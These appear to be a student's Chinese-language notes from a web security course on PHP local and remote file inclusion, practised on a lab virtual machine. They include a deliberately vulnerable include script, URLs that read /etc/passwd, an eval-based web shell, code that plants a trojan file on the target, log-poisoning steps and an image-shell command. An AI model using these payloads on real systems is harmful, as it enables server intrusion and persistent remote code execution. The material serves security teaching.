b站蜗牛学院课2-P121
所用虚拟机地址:192.168.112.188
所用本机地址:192.168.112.1
Part 1 文件包含基本知识
一、本地文件包含
1. 源代码
在虚拟机的security/fileinc.php文件中写入如下代码:
<?php
$filename = $_GET[‘filename’];
include $filename; //或include_once, require, require_once
echo "<hr>欢迎来到PHP的世界。<br>";
?>
2. 利用条件
php.ini 中 allow_url_fopen=On (默认开启)
用户参数可控且后台代码没有对包含的文件进行过滤 #什么意思?
3. 利用方式
【例1】在浏览器中输入:
http://虚拟机地址/security/fileinc.php?Filename=misc.php
报错:需要传入uname、passwd值
改正:
http://虚拟机地址/security/fileinc.php?Filename=misc.php&uname=woniu&passwd=123456
【例2】读取任意文件:
http://虚拟机地址/security/fileinc.php?Filename=/etc/passwd
/etc/passwd为文件路径
Filename=./login.html
4. 注意事项
一旦文件中出现使用include或其他三个文件包含的函数,那么无论包含的文件后缀名是什么,均会当成PHP代码来执行。其余文字将当做普通html文本显示。
二、远程文件包含
1. 利用条件
php.ini 中 allow_url_fopen=On (默认开启)和 allow_url_include=Off(默认关闭,需开启,vim etc\php.ini
)
用户参数可控且后台代码没有对包含的文件进行过滤 #什么意思?
2. 利用方式
【例1】试探:
在浏览器中输入:
http://虚拟机地址/security/fileinc.php?filename=https://www.woniuxy.com/index.php
filename=可为任意一个网页地址
若出现了网页,则说明存在文件包含漏洞。
【例2】实现远程文件包含:
①在winD:\XampNew\htdocs\learn\shell.php
中输入下列代码:
<?php
//phpinfo();
@eval($_GET['code']);
?>
在windows浏览器中输入:
http://localhost/learn/shell.php?code=phpinfo();
出现windows的php信息。
②在win浏览器输入:
http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.php
需关闭win和虚拟机的防火墙,即可访问。
③在winsows浏览器输入:
http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.php?code=phpinfo();
<注 1>.在使用远程文件包含时,可使用shell.php?code=phpinfo()
中的?
,因为已将https://本机地址/learn/shell.php?code=phpinfo()
这整个部分当作url地址来包含,不会把?code=phpinfo()
当作第二个参数。
<注 2> 此时结果未被包含在虚拟机地址中使用,未通过虚拟机中的fileinc.php
执行,显示的结果是本机的信息,与单独实现https://本机地址/learn/shell.php?code=phpinfo();
结果一样。更正:
- 将win
D:\XampNew\htdocs\learn\shell.php
另存为shell.txt
, - 在win浏览器输入:
http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.txt&code=phpinfo();
用&后,code为filename的第二个参数
用?时,filename后边为一个整体的网址
此时执行的结果才是包含之后的。
shell.php?code=phpinfo();
shell.txt&code=phpinfo();
三、利用远程包含文件写木马
①在winD:\XampNew\htdocs\learn\shell.txt
中写入下列代码:
<?php
// phpinfo();
// @eval($_GET['code']);
file_put_contenes("temp/muma2.php", '<?php @eval($_GET["code"]); ?>');
?>
// file_put_contenes的第一个参数:虚拟机中的要包含进去的文件路径文件名,第二个参数:要写入的文本的内容。
②要使虚拟机包含木马文件muma2.php
:
在win浏览器中输入:
http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.txt
执行后,成功在虚拟机temp/
目录下写入木马文件muma2.php
。
③执行木马文件:
在win浏览器中输入:
http://虚拟机地址/security/temp/muma2.php?code=phpinfo();
执行后,出现php信息。
Part 2. 文件包含漏洞利用
一、利用前提
- 存在一个文件包含漏洞点
- 我们有其他可控点可以写入到本地文件
- 写入的本地文件路径可知或可探测
二、包含web日志(步骤)
- 前期通过信息搜集,得到了相关的服务器信息,比如得知中间件是apache。apache记录web日志的文件有
access_log
和error_log
(路径:/opt/lampp/logs
)。
//在win浏览器中输入log路径进行探测:
http://虚拟机地址/security/fileinc.php?filename=/opt/lampp/logs/access.log
//报错了。说明路径或文件名不对,将`access.log`改为`access_log`再探测:
http://虚拟机地址/security/fileinc.php?filename=/opt/lampp/logs/access_log
//出现日志文件,探测成功,得到日志文件路径。
- 这时我们访问服务器的时候,通过burp修改我们的请求,将恶意代码写在请求内,这时候web日志就会将我们的恶意代码写入到日志文件中。由于日志文件一般来说都是默认的路径,比较容易猜测,这样就满足了我们的本地包含getshell的条件。 比如get请求:
get "<?php php.info();?>".html
。
三、包含登录日志
四、包含mysql日志
一般是在成功访问到MySQL后实现的,攻击者进入MySQL,可以通过数据库查询接口,实现恶意代码写入mysql日志。方法和原理与包含web日志相同。
比如进入phmyadmin后台,或者爆破成功进入MySQL
查看日志文件状态:show variables like general_log
写入恶意代码:select"<? phponfo();?>"
,根据日志文件路径即可包含。
五、包含上传文件
图片马:
copy picture.jpg/b + shell.php/a picma.jpg